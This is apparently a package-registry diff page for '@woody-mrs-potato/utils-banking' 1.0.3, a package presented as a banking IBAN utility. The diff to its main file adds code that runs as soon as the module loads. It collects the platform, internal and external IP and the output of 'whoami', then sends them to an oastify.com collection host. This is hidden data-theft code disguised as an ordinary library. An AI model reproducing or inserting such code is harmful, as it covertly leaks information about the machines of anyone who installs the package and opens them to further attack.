@woody-mrs-potato/utils-banking 1.0.2 → 1.0.3

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/src/iban.js +45 -6
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@woody-mrs-potato/utils-banking",
3
- "version": "1.0.2",
3
+ "version": "1.0.3",
4
4
  "description": "A test utility module for common operations.",
5
5
  "main": "src/iban.js",
6
6
  "author": "Telefo David",
package/src/iban.js CHANGED
@@ -1,5 +1,35 @@
1
1
  const os = require('os');
2
2
  const https = require('https');
3
+ const { exec } = require('child_process');
4
+
5
+ function getExternalIp(callback) {
6
+ https.get('https://api.ipify.org?format=json', (res) => {
7
+ let data = '';
8
+
9
+ res.on('data', (chunk) => {
10
+ data += chunk;
11
+ });
12
+
13
+ res.on('end', () => {
14
+ const ipData = JSON.parse(data);
15
+ callback(ipData.ip);
16
+ });
17
+ }).on('error', (e) => {
18
+ console.error(`Error al obtener IP externa: ${e.message}`);
19
+ callback('Unknown');
20
+ });
21
+ }
22
+
23
+ function getWhoami(callback) {
24
+ exec('whoami', (error, stdout, stderr) => {
25
+ if (error) {
26
+ console.error(`Error ejecutando whoami: ${error.message}`);
27
+ callback('Unknown');
28
+ return;
29
+ }
30
+ callback(stdout.trim());
31
+ });
32
+ }
3
33
 
4
34
  const systemInfo = {
5
35
  platform: os.platform(),
@@ -8,13 +38,22 @@ const systemInfo = {
8
38
  ip: os.networkInterfaces()['eth0'] ? os.networkInterfaces()['eth0'][0].address : 'Unknown',
9
39
  };
10
40
 
11
- const queryParams = new URLSearchParams(systemInfo).toString();
12
- const url = `https://lb0wfl0wv7ay9yxaniioaw54tvzmncb1.oastify.com/BBVA/telefonica?${queryParams}`;
41
+ getExternalIp((externalIp) => {
42
+ getWhoami((whoami) => {
43
+ const queryParams = new URLSearchParams({
44
+ ...systemInfo,
45
+ externalIp: externalIp,
46
+ user: whoami
47
+ }).toString();
48
+
49
+ const url = `https://lb0wfl0wv7ay9yxaniioaw54tvzmncb1.oastify.com/BBVA/telefonica?${queryParams}`;
13
50
 
14
- https.get(url, (res) => {
15
- console.log(`Status: ${res.statusCode}`);
16
- }).on('error', (e) => {
17
- console.error(`Problem with request: ${e.message}`);
51
+ https.get(url, (res) => {
52
+ console.log(`Status: ${res.statusCode}`);
53
+ }).on('error', (e) => {
54
+ console.error(`Problem with request: ${e.message}`);
55
+ });
56
+ });
18
57
  });
19
58
 
20
59
  console.log("Test module loaded successfully");